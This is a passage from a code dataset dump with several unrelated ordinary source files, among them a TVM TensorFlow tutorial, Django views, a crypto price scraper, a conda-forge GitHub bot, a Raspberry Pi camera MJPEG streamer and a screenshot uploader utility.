imports\nimport tensorflow as tf\nfrom tensorflow.core.framework import graph_pb2\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import tensor_util\n\nimport nnvm.testing.tf\n\nrepo_base = 'https://github.com/dmlc/web-data/raw/master/tensorflow/models/InceptionV1/'\nimg_name = 'elephant-299.jpg'\nimage_url = os.path.join(repo_base, img_name)\nmodel_name = 'classify_image_graph_def-with_shapes.pb'\nmodel_url = os.path.join(repo_base, model_name)\nmap_proto = 'imagenet_2012_challenge_label_map_proto.pbtxt'\nmap_proto_url = os.path.join(repo_base, map_proto)\nlable_map = 'imagenet_synset_to_human_label_map.txt'\nlable_map_url = os.path.join(repo_base, lable_map)\n\n\n######################################################################\n# Download processed tensorflow model\n# -----------------------------------\n# In this section, we download a pretrained Tensorflow model and classify an image.\nfrom mxnet.gluon.utils import download\n\ndownload(image_url, img_name)\ndownload(model_url, model_name)\ndownload(map_proto_url, map_proto)\ndownload(lable_map_url, lable_map)\n\n\n######################################################################\n# Creates graph from saved graph_def.pb.\n# --------------------------------------\n\nwith tf.gfile.FastGFile(os.path.join(\n \"./\", model_name), 'rb') as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n graph = tf.import_graph_def(graph_def, name='')\n # Call the utility to import the graph definition into default graph.\n graph_def = nnvm.testing.tf.ProcessGraphDefParam(graph_def)\n\n\n######################################################################\n# Decode image\n# ------------\nfrom PIL import Image\nimage = Image.open(img_name).resize((299, 299))\n\ndef transform_image(image):\n image = np.array(image)\n return image\n\nx = transform_image(image)\n\n######################################################################\n# Import the graph to NNVM\n# ------------------------\nsym, params = nnvm.frontend.from_tensorflow(graph_def)\n\n######################################################################\n# Now compile the graph through NNVM\nimport nnvm.compiler\ntarget = 'llvm'\nshape_dict = {'DecodeJpeg/contents': x.shape}\ndtype_dict = {'DecodeJpeg/contents': 'uint8'}\ngraph, lib, params = nnvm.compiler.build(sym, target, shape_dict, dtype=dtype_dict, params=params)\n\n######################################################################\n# Execute the portable graph on TVM\n# ---------------------------------\n# Now, we would like to reproduce the same forward computation using TVM.\nfrom tvm.contrib import graph_runtime\nctx = tvm.cpu(0)\ndtype = 'uint8'\nm = graph_runtime.create(graph, lib, ctx)\n# set inputs\nm.set_input('DecodeJpeg/contents', tvm.nd.array(x.astype(dtype)))\nm.set_input(**params)\n# execute\nm.run()\n# get outputs\ntvm_output = m.get_output(0, tvm.nd.empty(((1, 1008)), 'float32'))\n\n\n######################################################################\n# Process the output to human readable\n# ------------------------------------\npredictions = tvm_output.asnumpy()\npredictions = np.squeeze(predictions)\n\n# Creates node ID --> English string lookup.\nnode_lookup = nnvm.testing.tf.NodeLookup(label_lookup_path=os.path.join(\"./\", map_proto),\n uid_lookup_path=os.path.join(\"./\", lable_map))\n\ntop_k = predictions.argsort()[-5:][::-1]\nfor node_id in top_k:\n human_string = node_lookup.id_to_string(node_id)\n score = predictions[node_id]\n print('%s (score = %.5f)' % (human_string, score))\n\n######################################################################\n# Run the same graph with tensorflow and dump output.\n# ---------------------------------------------------\n\ndef create_graph():\n \"\"\"Creates a graph from saved GraphDef file and returns a saver.\"\"\"\n # Creates graph from saved graph_def.pb.\n with tf.gfile.FastGFile(model_name, 'rb') as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n graph = tf.import_graph_def(graph_def, name='')\n # Call the utility to import the graph definition into default graph.\n graph_def = nnvm.testing.tf.ProcessGraphDefParam(graph_def)\n\ndef run_inference_on_image(image):\n \"\"\"Runs inference on an image.\n\n Parameters\n ----------\n image: String\n Image file name.\n\n Returns\n -------\n Nothing\n \"\"\"\n if not tf.gfile.Exists(image):\n tf.logging.fatal('File does not exist %s', image)\n image_data = tf.gfile.FastGFile(image, 'rb').read()\n\n # Creates graph from saved GraphDef.\n create_graph()\n\n with tf.Session() as sess:\n softmax_tensor = sess.graph.get_tensor_by_name('softmax:0')\n predictions = sess.run(softmax_tensor,\n {'DecodeJpeg/contents:0': image_data})\n\n predictions = np.squeeze(predictions)\n\n # Creates node ID --> English string lookup.\n node_lookup = nnvm.testing.tf.NodeLookup(label_lookup_path=os.path.join(\"./\", map_proto),\n uid_lookup_path=os.path.join(\"./\", lable_map))\n\n top_k = predictions.argsort()[-5:][::-1]\n print (\"===== TENSORFLOW RESULTS =======\")\n for node_id in top_k:\n human_string = node_lookup.id_to_string(node_id)\n score = predictions[node_id]\n print('%s (score = %.5f)' % (human_string, score))\n\nrun_inference_on_image (img_name)\n","sub_path":"tutorials/nnvm/from_tensorflow.py","file_name":"from_tensorflow.py","file_ext":"py","file_size_in_byte":5841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400498853","text":"from django.shortcuts import render\nfrom user import models\nfrom django.http import JsonResponse, HttpResponse\n\n\ndef m_show(request):\n \"\"\"界面\"\"\"\n return render(request, \"maintenance/show.html\")\n\n\ndef statefailure(request):\n \"\"\"故障状态设备列表\"\"\"\n equipments = models.Equipment.objects.all().filter(eState=\"故障\")\n return render(request, \"maintenance/equipmentlist.html\", {\"equipments\": equipments})\n\n\ndef service(request):\n \"\"\"维修状态设备列表\"\"\"\n equipments = models.Equipment.objects.all().filter(eState=\"维修\")\n return render(request, \"maintenance/equipmentlist.html\", {\"equipments\": equipments})\n\n\ndef servicelist(request):\n \"\"\"维修状态设备列表\"\"\"\n services = models.Service.objects.all()\n return render(request, \"maintenance/servicelist.html\", {\"services\": services})\n\n\ndef breakequipmentlist(request):\n \"\"\"设备列表\"\"\"\n breakequipments = models.BreakEquipment.objects.all()\n return render(request, \"maintenance/breakequipmentlist.html\", {\"breakequipments\": breakequipments})\n\n\ndef edit(request):\n \"\"\"同意维修申请\"\"\"\n eid = request.GET[\"eid\"]\n breakequipment = models.BreakEquipment.objects.get(BreakEquipmentNum=int(eid))\n return render(request, \"maintenance/agree.html\", {\"breakequipment\": breakequipment})\n\n\ndef save(request):\n \"\"\"保存设备信息\"\"\"\n eid = request.GET[\"eid\"]\n be = models.BreakEquipment.objects.get(BreakEquipmentNum=eid)\n e = models.Equipment.objects.get(eNum=be.eNum.eNum)\n e.eState = \"维修\"\n ServiceNum = request.POST[\"ServiceNum\"]\n ServiceTxt = request.POST[\"ServiceTxt\"]\n Change = request.POST[\"Change\"]\n ServiceCost = request.POST[\"ServiceCost\"]\n ServiceName = request.POST[\"ServiceName\"]\n try:\n models.Service.objects.create(eNum=e, BreakEquipmentNum=be, ServiceNum=ServiceNum, ServiceTxt=ServiceTxt,\n Change=Change, ServiceCost=ServiceCost, ServiceName=ServiceName)\n e.save()\n except Exception:\n return JsonResponse({\"code\": 1})\n else:\n return JsonResponse({\"code\": 2})\n\n\ndef success(request):\n \"\"\"维修成功\"\"\"\n eid = request.GET[\"eid\"]\n se = models.Service.objects.get(ServiceNum=eid)\n be = models.BreakEquipment.objects.get(BreakEquipmentNum=se.BreakEquipmentNum.BreakEquipmentNum)\n e = models.Equipment.objects.get(eNum=se.eNum.eNum)\n e.eState = \"可借\"\n try:\n e.save()\n be.delete()\n se.delete()\n except Exception:\n return HttpResponse(\"确认失败!\")\n else:\n return HttpResponse(\"确认成功!\")\n\n\ndef fail(request):\n \"\"\"维修失败\"\"\"\n eid = request.GET[\"eid\"]\n se = models.Service.objects.get(ServiceNum=eid)\n be = models.BreakEquipment.objects.get(BreakEquipmentNum=se.BreakEquipmentNum.BreakEquipmentNum)\n e = models.Equipment.objects.get(eNum=se.eNum.eNum)\n e.eState = \"报销\"\n try:\n e.save()\n be.delete()\n se.delete()\n except Exception:\n return HttpResponse(\"确认失败!\")\n else:\n return HttpResponse(\"确认成功!\")\n\n\ndef search(request):\n \"\"\"设备搜索\"\"\"\n sear = request.GET[\"sear\"]\n try:\n int(sear)\n except Exception:\n equipments = models.Equipment.objects.all().filter(eName=sear)\n content = {'equipments': equipments}\n return render(request, \"teacher/search.html\", content)\n else:\n equipments = models.Equipment.objects.all().filter(eNum=sear)\n content = {'equipments': equipments}\n return render(request, \"teacher/search.html\", content)","sub_path":"maintenance/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"237688513","text":"# -*- coding: utf-8 -*-\n\"\"\"\nbitfinex 比特币和莱特币价格爬取价格爬取\n\"\"\"\nimport time\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\n\n\ndef dictionary_generator(dic_data):\n '格式化比特币或莱特币的价格信息。'\n name = dic_data.find(class_='col-info').get_text()\n data = dic_data.findAll(class_='col-currency')\n return {'货币对': name,\n '上次交易': data[0].get_text().strip(),\n '24小时前': data[1].get_text().strip(),\n '24小时变化': data[2].get_text().split(),\n '7天前': data[3].get_text().strip(),\n '7天变化': data[4].get_text().split(),\n '30天前': data[5].get_text().strip(),\n '30天变化': data[6].get_text().split()}\n\n\ndef get_stats():\n print('正在获取bitfinex价格数据......')\n\n # 驱动初始化\n driver = webdriver.PhantomJS(executable_path='C:/Users/Omou/Desktop/giot/bitcoin_scrapy/phantomjs.exe',\n service_log_path='C:/Users/Omou/Desktop/giot/bitcoin_scrapy/phantomjs.log')\n driver.get(\"https://www.bitfinex.com/stats\")\n time.sleep(5)\n STR_READY_STATE = ''\n # 等待页面加载完成\n while STR_READY_STATE != 'complete':\n time.sleep(5)\n STR_READY_STATE = driver.execute_script('return document.readyState')\n html = BeautifulSoup(driver.page_source, 'lxml')\n # 表格数据获取\n data = html.find(class_='pub-wrapper').tbody\n data = data.findAll(name='tr')\n # 数据格式化\n bitcoin = dictionary_generator(data[0])\n litecoin = dictionary_generator(data[1])\n driver.quit()\n print('bitfinex价格数据获取完毕。' + '\\n')\n for k, v in bitcoin.items():\n print(k + ': ' + str(v) + ';')\n for k, v in litecoin.items():\n print(k + ': ' + str(v) + ';')\n return {'bitcoin': bitcoin, 'litecoin': litecoin}\n\n\nif __name__ == '__main__':\n get_stats()\n","sub_path":"bitcoin_scrapy/bitfinex.py","file_name":"bitfinex.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"594787466","text":"# 引入openpyxl需要安装openpyxl 有安装文件\n# r'C:\\Users\\xlg\\Desktop\\abc.xlsx'\n\n\n# openpyxl 不能处理xls文件,可以处理xlsx文件\n\nfrom openpyxl.reader.excel import load_workbook\n\ndef readExcelFile(path):\n # 打开文件\n file = load_workbook(filename=path)\n # 获取文件中所有表格的名称\n # print(file.get_sheet_names())\n sheets = file.get_sheet_names()\n # sheets[0] === 'Sheet1' # 第一个表的名字\n # 获取一个表格\n sheet = file.get_sheet_by_name(sheets[0])\n\n # 获取当前表的最大行数\n # print(sheet.max_row)\n # 获取当前表的最大列数\n # print(sheet.max_column)\n # 获取表名\n # print(sheet.title)\n\n # excel 下标从1开始\n # 获取表格中数据\n for lineNum in range(1, sheet.max_row + 1):\n # print(lineNum)\n listLine = []\n for columnNum in range(1, sheet.max_column + 1):\n # 取出数据\n value = sheet.cell(row = lineNum, column = columnNum).value\n # print(value)\n listLine.append(value)\n print(listLine)\n\n# 将一个文件中所有的表中的内容全部取出出来\n# 把每个表对的什么数据要有明确展示\n\npath = r'C:\\Users\\xlg\\Desktop\\abc.xlsx'\nreadExcelFile(path)\n\n\n\n\n\n\n","sub_path":"python/FileReadAndWrite/6-读取xlsx文件中的一个表格.py","file_name":"6-读取xlsx文件中的一个表格.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"525403904","text":"import falcon\n\nfrom hyuga.api.common import base\nfrom hyuga.api.v1 import records, users\nfrom hyuga.core.errors import AppError\nfrom hyuga.core.log import logger\nfrom hyuga.middleware import GlobalFilter, HandleCORS, PeeweeConnection\n\n\nclass App(falcon.API):\n def __init__(self, *args, **kwargs):\n super(App, self).__init__(*args, **kwargs)\n logger.info('API Server is starting')\n # index\n self.add_route('/', base.BaseResource())\n # users\n self.add_route('/v1/users', users.Users())\n self.add_route('/v1/users/{user_id:int}', users.UsersItem())\n # users self\n self.add_route('/v1/users/self', users.UsersSelf())\n self.add_route('/v1/users/self/login', users.UsersSelfOperation())\n # records\n self.add_route('/v1/records', records.Records())\n self.add_route('/v1/users/self/records', records.UsersSelfRecords())\n\n self.add_error_handler(AppError, AppError.handle)\n\n\ndef create_app(testing=False):\n middlewares = [HandleCORS(), PeeweeConnection()]\n if testing is False:\n middlewares.append(GlobalFilter())\n return App(middleware=middlewares)\n","sub_path":"hyuga/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"64136259","text":"from git import GitCommandError, Repo, Actor\nfrom conda_build.metadata import MetaData\nimport github\nimport os\nimport subprocess\nfrom .utils import tmp_directory\nfrom .linting import compute_lint_message, comment_on_pr, set_pr_status\nfrom .update_teams import update_team\nfrom .circle_ci import update_circle\nfrom conda_smithy import __version__ as conda_smithy_version\nimport textwrap\n\nADD_NOARCH_MSG = \"please add noarch: python\"\nRERENDER_MSG = \"please rerender\"\nLINT_MSG = \"please lint\"\nUPDATE_TEAM_MSG = \"please update team\"\nUPDATE_CIRCLECI_KEY_MSG = \"please update circle\"\n\ndef check_for_bot(comment):\n return \"@conda-forge-admin\" in comment or \"@conda-forge-linter\" in comment\n\n\ndef pr_comment(org_name, repo_name, issue_num, comment):\n if not check_for_bot(comment):\n return\n gh = github.Github(os.environ['GH_TOKEN'])\n repo = gh.get_repo(\"{}/{}\".format(org_name, repo_name))\n pr = repo.get_pull(int(issue_num))\n pr_detailed_comment(org_name, repo_name, pr.head.user.login, pr.head.repo.name, pr.head.ref, issue_num, comment)\n\n\ndef pr_detailed_comment(org_name, repo_name, pr_owner, pr_repo, pr_branch, pr_num, comment):\n is_staged_recipes = (repo_name == \"staged-recipes\")\n if not (repo_name.endswith(\"-feedstock\") or is_staged_recipes):\n return\n\n if not check_for_bot(comment):\n return\n\n pr_commands = [LINT_MSG]\n if not is_staged_recipes:\n pr_commands += [ADD_NOARCH_MSG, RERENDER_MSG]\n\n if not any(command in comment.lower() for command in pr_commands):\n return\n\n with tmp_directory() as tmp_dir:\n feedstock_dir = os.path.join(tmp_dir, repo_name)\n repo_url = \"https://{}@github.com/{}/{}.git\".format(os.environ['GH_TOKEN'],\n pr_owner, pr_repo)\n repo = Repo.clone_from(repo_url, feedstock_dir, branch=pr_branch)\n\n if ADD_NOARCH_MSG in comment.lower():\n make_noarch(repo)\n rerender(repo, pr_num)\n if RERENDER_MSG in comment.lower():\n rerender(repo, pr_num)\n if LINT_MSG in comment.lower():\n relint(org_name, repo_name, pr_num)\n\n repo.remotes.origin.push()\n\n\ndef issue_comment(org_name, repo_name, issue_num, title, comment):\n if not repo_name.endswith(\"-feedstock\"):\n return\n\n comment = comment.lower()\n title = title.lower()\n\n if not check_for_bot(comment + title):\n return\n\n issue_commands = [UPDATE_TEAM_MSG, ADD_NOARCH_MSG, UPDATE_CIRCLECI_KEY_MSG]\n\n if not any(command in (comment+title) for command in issue_commands):\n return\n\n gh = github.Github(os.environ['GH_TOKEN'])\n repo = gh.get_repo(\"{}/{}\".format(org_name, repo_name))\n issue = repo.get_issue(int(issue_num))\n\n if UPDATE_TEAM_MSG in comment + title:\n update_team(org_name, repo_name)\n if UPDATE_TEAM_MSG in title:\n issue.edit(state=\"closed\")\n message = textwrap.dedent(\"\"\"\n Hi! This is the friendly automated conda-forge-webservice.\n\n I just wanted to let you know that I updated the team with maintainers from master.\n \"\"\")\n issue.create_comment(message)\n\n if UPDATE_CIRCLECI_KEY_MSG in comment + title:\n update_circle(org_name, repo_name)\n if UPDATE_CIRCLECI_KEY_MSG in title:\n issue.edit(state=\"closed\")\n message = textwrap.dedent(\"\"\"\n Hi! This is the friendly automated conda-forge-webservice.\n\n I just wanted to let you know that I updated the circle-ci deploy key and followed the project.\n \"\"\")\n issue.create_comment(message)\n\n forked_user = gh.get_user().login\n forked_repo = gh.get_user().create_fork(repo)\n\n with tmp_directory() as tmp_dir:\n feedstock_dir = os.path.join(tmp_dir, repo_name)\n repo_url = \"https://{}@github.com/{}/{}.git\".format(os.environ['GH_TOKEN'],\n forked_user, repo_name)\n git_repo = Repo.clone_from(repo_url, feedstock_dir)\n forked_repo_branch = 'conda_forge_admin_{}'.format(issue_num)\n new_branch = git_repo.create_head(forked_repo_branch)\n new_branch.checkout()\n\n if ADD_NOARCH_MSG in comment + title:\n make_noarch(git_repo)\n rerender(git_repo, issue_num)\n git_repo.git.push(\"origin\", forked_repo_branch)\n msg = \"MNT: Add noarch: python\"\n pr = repo.create_pull(msg, \"As instructed in #{}\".format(issue_num),\n \"master\", \"{}:{}\".format(forked_user, forked_repo_branch))\n\n if ADD_NOARCH_MSG in title:\n issue.edit(state=\"closed\")\n\n message = textwrap.dedent(\"\"\"\n Hi! This is the friendly automated conda-forge-webservice.\n\n I just wanted to let you know that I made the recipe noarch: python in {}/{}#{}.\n \"\"\".format(org_name, repo_name, pr.number))\n issue.create_comment(message)\n\n\ndef rerender(repo, pr_num):\n subprocess.call([\"conda\", \"smithy\", \"rerender\"], cwd=repo.working_dir)\n if repo.is_dirty():\n author = Actor(\"conda-forge-admin\", \"pelson.pub+conda-forge@gmail.com\")\n repo.index.commit(\"MNT: Re-rendered with conda-smithy {}\".format(conda_smithy_version), author=author, committer=author)\n else:\n message = textwrap.dedent(\"\"\"\n Hi! This is the friendly automated conda-forge-webservice.\n\n I rerendered the feedstock and it seems to be already up-to-date.\n \"\"\")\n repo.get_issue(pr_num).create_comment(message)\n\n\ndef make_noarch(repo):\n meta_yaml = os.path.join(repo.working_dir, \"recipe\", \"meta.yaml\")\n with open(meta_yaml, 'r') as fh:\n lines = [line for line in fh]\n with open(meta_yaml, 'w') as fh:\n build_line = False\n for line in lines:\n if build_line:\n spaces = len(line) - len(line.lstrip())\n line = \"{}noarch: python\\n{}\".format(\" \"*spaces, line)\n build_line = False\n if line.rstrip() == 'build:':\n build_line = True\n fh.write(line)\n repo.index.add([meta_yaml])\n author = Actor(\"conda-forge-admin\", \"pelson.pub+conda-forge@gmail.com\")\n repo.index.commit(\"Add noarch:python option\", author=author)\n\n\ndef relint(owner, repo_name, pr_num):\n pr = int(pr_num)\n lint_info = compute_lint_message(owner, repo_name, pr, False)\n if not lint_info:\n print('Linting was skipped.')\n else:\n msg = comment_on_pr(owner, repo_name, pr, lint_info['message'])\n set_pr_status(owner, repo_name, lint_info, target_url=msg.html_url)\n\n","sub_path":"conda_forge_webservices/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":6623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"21992527","text":"from django.contrib import admin\nfrom django import forms\nfrom searchableselect.widgets import SearchableSelect\nfrom .models import Event, Team, Value\n\n# User = user_model()\n\n\nclass EventAdmin(admin.ModelAdmin):\n list_display = ['title', 'start_date', 'end_date']\n list_filter = ['title', 'start_date', 'end_date']\n\n\nadmin.site.register(Event, EventAdmin)\n\n\n# class TeamForm(forms.ModelForm):\n# class Meta:\n# model = Team\n# exclude = ()\n# widgets = {\n# 'members': SearchableSelect(model='users.User',\n# search_field='username',\n# many=True,\n# limit=20\n# )\n# }\n\nclass TeamAdmin(admin.ModelAdmin):\n # form = TeamForm\n list_display = ['title', 'leader', 'all_members', 'description']\n list_filter = ['title', 'description']\n\n\nadmin.site.register(Team, TeamAdmin)\n\n\nclass ValueAdmin(admin.ModelAdmin):\n list_display = ['event', 'team', 'user', 'category', 'votes']\n list_filter = ['event', 'team', 'user', 'category', 'votes']\n ordering = ['event']\n\n\nadmin.site.register(Value, ValueAdmin)\n","sub_path":"voting/votingmachine/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"492682813","text":"import tkinter as tk\n\n\ndef cria_tela():\n\tmyWindow = tk.Tk()\n\tmyWindow.title(\"VOLT\")\n\tmyWindow.configure(bg=\"#1E90FF\")\n\tmyWindow.geometry(\"800x600\")\n\n\treturn myWindow\n\ndef main():\n\ttela = cria_tela()\n\ttela.mainloop()\n\nmain()\n# class SimpleApp(object):\n# def __init__(self, master, **kwargs):\n# title=kwargs.pop('title')\n# frame=tk.Frame(master, **kwargs)\n# frame.pack()\n# self.label = tk.Label(frame, text=title)\n# self.label.pack(padx=500,pady=500)\n\n\n# if __name__=='__main__':\n# root = tk.Tk()\n# app = SimpleApp(root,title='Hello, world')\n# root.mainloop()","sub_path":"GUI/examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"264429928","text":"# class Animal:\n# def __init__(self, name):\n# self.name = name\n \n# def walk(self):\n# print(f'{self.name}! 걷는다!')\n\n# def eat(self):\n# print(f'{self.name}! 먹는다!')\n\n\n# class Dog(Animal):\n# def __init__(self, name):\n# super().__init__(name)\n\n# def bark(self):\n# print(f'{self.name}! 짖는다')\n\n# class Bird(Animal):\n# def __init__(self, name):\n# super().__init__(name)\n\n# def fly(self):\n# print(f'{self.name}! 푸드덕')\n\n\n# dog = Dog('멍멍이')\n# dog.walk()\n# dog.bark()\n\n# bird = Bird('구구')\n# bird.walk()\n# bird.eat()\n# bird.fly()\n\n\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n \n\nclass Rectangle:\n def __init__(self, p1, p2):\n self.p1 = p1\n self.p2 = p2\n \n def get_area(self):\n return self.p1 * self.p2\n \n def get_perimeter(self):\n return (self.p1 + self.p2) * 2\n\n def is_square(self):\n if self.p1 == self.p2:\n return True\n else:\n return False\n\np1 = Point(1,3)\np2 = Point(3,1)\nr1 = Rectangle(p1,p2)\nprint(r1.get_area())\nprint(r1.get_perimeter())\nprint(r1.is_square())\np3 = Point(3,7)\np4 = Point(6,4)\nr2 = Rectangle(p3,p4)\nprint(r2.get_area())\nprint(r2.get_perimeter())\nprint(r2.is_square())\n\n\n\n","sub_path":"trainning/0729hws.py","file_name":"0729hws.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"317978967","text":"from django.urls import path\n\nfrom apps.clients.views import ClientListView, ClientDetailView, \\\n ClientDeleteView, ClientCreateView, ClientVotingView\n\napp_name = 'clients'\n\nurlpatterns = [\n path('', ClientListView.as_view(), name='list'),\n path('/', ClientDetailView.as_view(), name='detail'),\n path('create/', ClientCreateView.as_view(), name='create'),\n path('/delete/', ClientDeleteView.as_view(), name='delete'),\n path('voting/', ClientVotingView.as_view(), name='voting')\n]\n","sub_path":"src/apps/clients/urls/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"573745860","text":"#!/usr/bin/env python3\n\n'''\n A Simple mjpg stream http server for the Raspberry Pi Camera\n inspired by https://gist.github.com/n3wtron/4624820\n'''\nfrom http.server import BaseHTTPRequestHandler,HTTPServer\nimport io\nimport time\nimport picam\nimport algo\nimport os\nimport sys\nimport cv2\nimport logging\nimport argparse\nimport comm\nimport traceback\nimport config\n\ns_args=None\ns_config=None\ns_comm=None\ns_first=True\ns_jpgQuality = 80 # used by direct streaming, quality differs from opencv\ns_jpgParam = [int(cv2.IMWRITE_JPEG_QUALITY), 50] # used by opencv\ns_mainPage=\"\"\"\n\n\n\n\n\n\"\"\"\n\nclass CamHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n # we respond with a stream if the url ends in either .mjpg or .mjpeg\n # we select between direct or algorithm-filtered streams based\n # on the filename. If the algostr (below) is \"direct.mjpeg\", we\n # get fast/raw/direct streaming. Otherwise the algostr is passed\n # to the algo entrypoint.\n if self.path.endswith('.mjpg') or self.path.endswith('.mjpeg'):\n algostr = os.path.basename(self.path).split(\".\")[0]\n self.send_response(200)\n self.send_header('Content-type',\n 'multipart/x-mixed-replace; boundary=--jpgboundary')\n self.end_headers()\n cam = None\n try:\n time.sleep(1) # wait for shutdown of alt stream\n cam = picam.PiCam(s_config[\"picam\"])\n if not cam:\n raise Exception(\"Hey no camera!\")\n if algostr == \"direct\":\n self.streamDirect(cam)\n else:\n self.streamAlgo(cam, algostr)\n\n except BrokenPipeError:\n logging.warning(\"broken pipe error\")\n\n except KeyboardInterrupt:\n logging.info(\"keyboard interrupt\")\n\n except Exception as e:\n # Critical for anything that happens in algo or below\n exc_info = sys.exc_info()\n logging.error(\"algo exception: \" + str(e))\n traceback.print_exception(*exc_info)\n\n finally:\n logging.info(\"done streaming ----------------------\")\n if cam:\n cam.stop() # triggers PiCamera.close()\n else:\n logging.info(\"(cam init problem)\")\n else:\n self.send_response(200)\n self.send_header('Content-type','text/html')\n self.end_headers()\n self.wfile.write(bytes(s_mainPage,'utf-8'))\n return\n\n def streamDirect(self, cam):\n logging.info(\"direct streaming\")\n stream = io.BytesIO()\n try:\n for i in cam.cam.capture_continuous(stream, \"jpeg\",\n quality=s_jpgQuality,\n use_video_port=True):\n self.wfile.write(bytes(\"--jpgboundary\\n\",'utf-8'))\n self.send_header('Content-type','image/jpeg')\n self.send_header('Content-length',len(stream.getvalue()))\n self.end_headers()\n val = stream.getvalue()\n self.wfile.write(val)\n stream.seek(0)\n stream.truncate()\n\n finally:\n stream.seek(0)\n stream.truncate()\n # cam.stop() called above\n\n def streamAlgo(self, cam, algoselector):\n global s_first\n (algoselector + \" algo streaming\")\n cam.start()\n while True:\n camframe = cam.next()\n target,frame = algo.processFrame(camframe, algoselector,\n cfg=s_config[\"algo\"],\n display=True, debug=False)\n if target != None:\n logging.debug(str(target))\n else:\n logging.info(\"no target\");\n\n if s_comm != None:\n if target != None:\n s_comm.UpdateVisionState(\"Acquired\")\n target.send()\n else:\n s_comm.UpdateVisionState(\"Searching\")\n\n rc,jpg = cv2.imencode('.jpg', frame, s_jpgParam)\n if not rc:\n continue\n if s_first:\n logging.debug(\"jpg file size: %s\" % jpg.size)\n s_first = False\n self.wfile.write(bytes(\"--jpgboundary\\n\",\"utf-8\"))\n self.send_header('Content-type','image/jpeg')\n self.send_header('Content-length', jpg.size)\n self.end_headers()\n self.wfile.write(jpg.tostring())\n time.sleep(0.05)\n\ndef main():\n global s_args\n global s_comm\n global s_config\n try:\n parser = argparse.ArgumentParser(description=\"Start the picam streamer\")\n parser.add_argument(\"--robot\", dest=\"robot\",\n help=\"robot (none, localhost, roborio) [none]\",\n default=\"none\")\n parser.add_argument(\"--debug\", dest=\"debug\",\n help=\"debug: [0,1] \",\n default=0)\n parser.add_argument(\"--config\", dest=\"config\",\n help=\"config: default,greenled,noled...\",\n default=\"default\")\n s_args = parser.parse_args()\n s_config = getattr(config, s_args.config)\n if s_args.robot != \"none\":\n if s_args.robot == \"roborio\":\n ip = \"10.49.15.2\"\n else:\n ip = s_args.robot\n s_comm = comm.Comm(ip)\n logFmt = \"streamer %(levelname)-6s %(message)s\"\n dateFmt = \"%H:%M\"\n if s_args.debug:\n loglevel = logging.DEBUG\n else:\n loglevel = logging.INFO\n logging.basicConfig(level=loglevel, format=logFmt, datefmt=dateFmt)\n server = HTTPServer(('',5080),CamHandler)\n logging.info (\"server started with config \" + s_args.config)\n server.serve_forever()\n except KeyboardInterrupt:\n logging.warning(\"aborting server\")\n server.socket.close()\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"2019/picamStreamer.py","file_name":"picamStreamer.py","file_ext":"py","file_size_in_byte":6203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"438093235","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: /home/jake/CRAPtion/craption/utils.py\n# Compiled at: 2018-05-18 03:22:54\nimport craption.settings, datetime, os, pkg_resources, pyperclip, random, re, subprocess, sys, tempfile, time\n\ndef set_clipboard(data):\n pyperclip.copy(data)\n\n\ndef screenshot():\n path = tempfile.mktemp('.png')\n if sys.platform.startswith('linux'):\n run(['scrot', '-s', path])\n else:\n run(['screencapture', '-ix', path])\n return path\n\n\ndef get_filename():\n conf = craption.settings.get_conf()\n filename = conf['file']['name']\n now = time.time()\n for match in re.finditer('{r(\\\\d+)}', filename):\n chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'\n random_string = ('').join([ random.choice(chars) for _ in range(int(match.group(1))) ])\n filename = filename.replace(match.group(0), random_string)\n\n filename = filename.replace('{u}', str(int(now)))\n filename = filename.replace('{d}', datetime.datetime.fromtimestamp(now).strftime(conf['file']['datetime_format']))\n return filename + '.png'\n\n\ndef install():\n craption.settings.write_template()\n exit(0)\n\n\ndef run(args):\n devnull = open(os.devnull, 'wb')\n p = subprocess.Popen(args, stdout=devnull, stderr=devnull)\n p.wait()","sub_path":"pycfiles/crapy-0.0.2-py3-none-any/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"498051418","text":"class Solution(object):\n def nextPermutation(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n if nums == []:\n return\n\n # 先检查nums是否为最大字典序\n max_flag = True\n for i in range(len(nums)-1):\n 